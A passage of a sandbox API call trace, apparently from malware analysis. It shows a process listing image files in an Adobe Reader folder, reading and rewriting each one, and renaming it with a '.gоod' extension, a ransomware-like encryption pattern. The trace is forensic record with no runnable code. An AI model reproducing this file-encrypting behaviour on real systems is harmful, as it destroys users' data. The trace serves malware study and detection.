ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b460 [0229.009] FindNextFileW (in: hFindFile=0x134b460, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0141af0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0229.009] FindNextFileW (in: hFindFile=0x134b460, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0141af0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_patterns_header.png", cAlternateFileName="BG_PAT~2.PNG")) returned 1 [0229.009] FindNextFileW (in: hFindFile=0x134b460, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_pattern_RHP.png", cAlternateFileName="BG_PAT~1.PNG")) returned 1 [0229.009] FindNextFileW (in: hFindFile=0x134b460, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0010838, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3b6f, dwReserved0=0x0, dwReserved1=0x0, cFileName="file_icons.png", cAlternateFileName="FILE_I~1.PNG")) returned 1 [0229.010] FindNextFileW (in: hFindFile=0x134b460, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1f7f, dwReserved0=0x0, dwReserved1=0x0, cFileName="icons.png", cAlternateFileName="")) returned 1 [0229.010] FindNextFileW (in: hFindFile=0x134b460, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0141af0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1fd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="icons_ie8.gif", cAlternateFileName="ICONS_~1.GIF")) returned 1 [0229.010] FindNextFileW (in: hFindFile=0x134b460, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0141af0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3c6a, dwReserved0=0x0, dwReserved1=0x0, cFileName="icons_retina.png", cAlternateFileName="ICONS_~1.PNG")) returned 1 [0229.010] FindNextFileW (in: hFindFile=0x134b460, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0141af0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x225a, dwReserved0=0x0, dwReserved1=0x0, cFileName="illustrations.png", cAlternateFileName="ILLUST~2.PNG")) returned 1 [0229.010] FindNextFileW (in: hFindFile=0x134b460, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4d6b, dwReserved0=0x0, dwReserved1=0x0, cFileName="illustrations_retina.png", cAlternateFileName="ILLUST~1.PNG")) returned 1 [0229.010] FindNextFileW (in: hFindFile=0x134b460, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0141af0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x20bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="new_icons.png", cAlternateFileName="NEW_IC~2.PNG")) returned 1 [0229.011] FindNextFileW (in: hFindFile=0x134b460, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0141af0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x456c, dwReserved0=0x0, dwReserved1=0x0, cFileName="new_icons_retina.png", cAlternateFileName="NEW_IC~1.PNG")) returned 1 [0229.011] FindNextFileW (in: hFindFile=0x134b460, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0010838, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0010838, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0010838, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="themes", cAlternateFileName="")) returned 1 [0229.011] FindNextFileW (in: hFindFile=0x134b460, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0229.011] FindClose (in: hFindFile=0x134b460 | out: hFindFile=0x134b460) returned 1 [0229.012] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8e0) returned 1 [0229.012] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8a0) returned 1 [0229.012] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\bg_patterns_header.png", nBufferLength=0x105, lpBuffer=0x202ed280, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\bg_patterns_header.png", lpFilePart=0x0) returned 0x88 [0229.012] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed750) returned 1 [0229.012] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\bg_patterns_header.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\bg_patterns_header.png"), fInfoLevelId=0x0, lpFileInformation=0x362ebe0 | out: lpFileInformation=0x362ebe0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0141af0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2bf)) returned 1 [0229.013] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed710) returned 1 [0229.013] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\bg_patterns_header.png", nBufferLength=0x105, lpBuffer=0x202ed0e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\bg_patterns_header.png", lpFilePart=0x0) returned 0x88 [0229.013] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed600) returned 1 [0229.013] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\bg_patterns_header.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\bg_patterns_header.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0229.013] GetFileType (hFile=0x630) returned 0x1 [0229.013] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed570) returned 1 [0229.013] GetFileType (hFile=0x630) returned 0x1 [0229.013] GetFileSize (in: hFile=0x630, lpFileSizeHigh=0x202ed7a8 | out: lpFileSizeHigh=0x202ed7a8*=0x0) returned 0x2bf [0229.013] ReadFile (in: hFile=0x630, lpBuffer=0x362f278, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ed6d8, lpOverlapped=0x0 | out: lpBuffer=0x362f278*, lpNumberOfBytesRead=0x202ed6d8*=0x2bf, lpOverlapped=0x0) returned 1 [0229.338] CloseHandle (hObject=0x630) returned 1 [0229.366] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\bg_patterns_header.png", nBufferLength=0x105, lpBuffer=0x202ed0e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\bg_patterns_header.png", lpFilePart=0x0) returned 0x88 [0229.366] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed600) returned 1 [0229.366] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\bg_patterns_header.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\bg_patterns_header.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0229.368] GetFileType (hFile=0x630) returned 0x1 [0229.368] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed570) returned 1 [0229.368] GetFileType (hFile=0x630) returned 0x1 [0229.368] WriteFile (in: hFile=0x630, lpBuffer=0x377a1d0*, nNumberOfBytesToWrite=0x2c0, lpNumberOfBytesWritten=0x202ed5e8, lpOverlapped=0x0 | out: lpBuffer=0x377a1d0*, lpNumberOfBytesWritten=0x202ed5e8*=0x2c0, lpOverlapped=0x0) returned 1 [0229.369] CloseHandle (hObject=0x630) returned 1 [0229.369] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\bg_patterns_header.png", nBufferLength=0x105, lpBuffer=0x202ed280, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\bg_patterns_header.png", lpFilePart=0x0) returned 0x88 [0229.369] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\bg_patterns_header.png.gоod", nBufferLength=0x105, lpBuffer=0x202ed280, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\bg_patterns_header.png.gоod", lpFilePart=0x0) returned 0x8d [0229.369] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed710) returned 1 [0229.369] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\bg_patterns_header.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\bg_patterns_header.png"), fInfoLevelId=0x0, lpFileInformation=0x202ed7f0 | out: lpFileInformation=0x202ed7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x84ed6a22, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2c0)) returned 1 [0229.369] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed6d0) returned 1 [0229.369] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\bg_patterns_header.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\bg_patterns_header.png"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\bg_patterns_header.png.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\bg_patterns_header.png.gоod")) returned 1 [0229.370] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\bg_pattern_RHP.png", nBufferLength=0x105, lpBuffer=0x202ed280, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\bg_pattern_RHP.png", lpFilePart=0x0) returned 0x84 [0229.370] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed750) returned 1 [0229.370] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\bg_pattern_RHP.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\bg_pattern_rhp.png"), fInfoLevelId=0x0, lpFileInformation=0x377b5f8 | out: lpFileInformation=0x377b5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xb3)) returned 1 [0229.370] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed710) returned 1 [0229.370] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\bg_pattern_RHP.png", nBufferLength=0x105, lpBuffer=0x202ed0e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\bg_pattern_RHP.png", lpFilePart=0x0) returned 0x84 [0229.370] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed600) returned 1 [0229.371] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\bg_pattern_RHP.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\bg_pattern_rhp.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0229.371] GetFileType (hFile=0x630) returned 0x1 [0229.371] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed570) returned 1 [0229.371] GetFileType (hFile=0x630) returned 0x1 [0229.371] GetFileSize (in: hFile=0x630, lpFileSizeHigh=0x202ed7a8 | out: lpFileSizeHigh=0x202ed7a8*=0x0) returned 0xb3 [0229.371] ReadFile (in: hFile=0x630, lpBuffer=0x377ba68, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ed6d8, lpOverlapped=0x0 | out: lpBuffer=0x377ba68*, lpNumberOfBytesRead=0x202ed6d8*=0xb3, lpOverlapped=0x0) returned 1 [0229.462] CloseHandle (hObject=0x630) returned 1 [0230.168] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\bg_pattern_RHP.png", nBufferLength=0x105, lpBuffer=0x202ed0e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\bg_pattern_RHP.png", lpFilePart=0x0) returned 0x84 [0230.168] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed600) returned 1 [0230.168] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\bg_pattern_RHP.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\bg_pattern_rhp.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0230.169] GetFileType (hFile=0x85c) returned 0x1 [0230.169] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed570) returned 1 [0230.170] GetFileType (hFile=0x85c) returned 0x1 [0230.170] WriteFile (in: hFile=0x85c, lpBuffer=0x3802b40*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x202ed5e8, lpOverlapped=0x0 | out: lpBuffer=0x3802b40*, lpNumberOfBytesWritten=0x202ed5e8*=0xc0, lpOverlapped=0x0) returned 1 [0230.170] CloseHandle (hObject=0x85c) returned 1 [0230.170] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\bg_pattern_RHP.png", nBufferLength=0x105, lpBuffer=0x202ed280, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\bg_pattern_RHP.png", lpFilePart=0x0) returned 0x84 [0230.171] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\bg_pattern_RHP.png.gоod", nBufferLength=0x105, lpBuffer=0x202ed280, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\bg_pattern_RHP.png.gоod", lpFilePart=0x0) returned 0x89 [0230.171] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed710) returned 1 [0230.171] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\bg_pattern_RHP.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\bg_pattern_rhp.png"), fInfoLevelId=0x0, lpFileInformation=0x202ed7f0 | out: lpFileInformation=0x202ed7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x85670504, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xc0)) returned 1 [0230.171] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed6d0) returned 1 [0230.171] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\bg_pattern_RHP.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\bg_pattern_rhp.png"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\bg_pattern_RHP.png.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\bg_pattern_rhp.png.gоod")) returned 1 [0230.172] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\file_icons.png", nBufferLength=0x105, lpBuffer=0x202ed280, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\file_icons.png", lpFilePart=0x0) returned 0x80 [0230.172] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed750) returned 1 [0230.172] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\file_icons.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\file_icons.png"), fInfoLevelId=0x0, lpFileInformation=0x3803f50 | out: lpFileInformation=0x3803f50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0010838, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3b6f)) returned 1 [0230.172] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed710) returned 1 [0230.172] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\file_icons.png", nBufferLength=0x105, lpBuffer=0x202ed130, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\file_icons.png", lpFilePart=0x0) returned 0x80 [0230.172] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed650) returned 1 [0230.172] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\file_icons.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\file_icons.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0230.172] GetFileType (hFile=0x85c) returned 0x1 [0230.172] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed5c0) returned 1 [0230.173] GetFileType (hFile=0x85c) returned 0x1 [0230.173] SetFilePointer (in: hFile=0x85c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x202ed7a8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x202ed7a8*=0) returned 0x1000 [0230.173] ReadFile (in: hFile=0x85c, lpBuffer=0x3804458, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ed778, lpOverlapped=0x0 | out: lpBuffer=0x3804458*, lpNumberOfBytesRead=0x202ed778*=0x1000, lpOverlapped=0x0) returned 1 [0230.282] CloseHandle (hObject=0x85c) returned 1 [0230.282] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\file_icons.png", nBufferLength=0x105, lpBuffer=0x202ed130, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\file_icons.png", lpFilePart=0x0) returned 0x80 [0230.282] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed650) returned 1 [0230.282] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\file_icons.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\file_icons.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0230.282] GetFileType (hFile=0x85c) returned 0x1 [0230.282] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed5c0) returned 1 [0230.282] GetFileType (hFile=0x85c) returned 0x1 [0230.282] SetFilePointer (in: hFile=0x85c, lDistanceToMove=0, lpDistanceToMoveHigh=0x202ed7a8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x202ed7a8*=0) returned 0x3b6f [0230.282] WriteFile (in: hFile=0x85c, lpBuffer=0x36ada68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x202ed698, lpOverlapped=0x0 | out: lpBuffer=0x36ada68*, 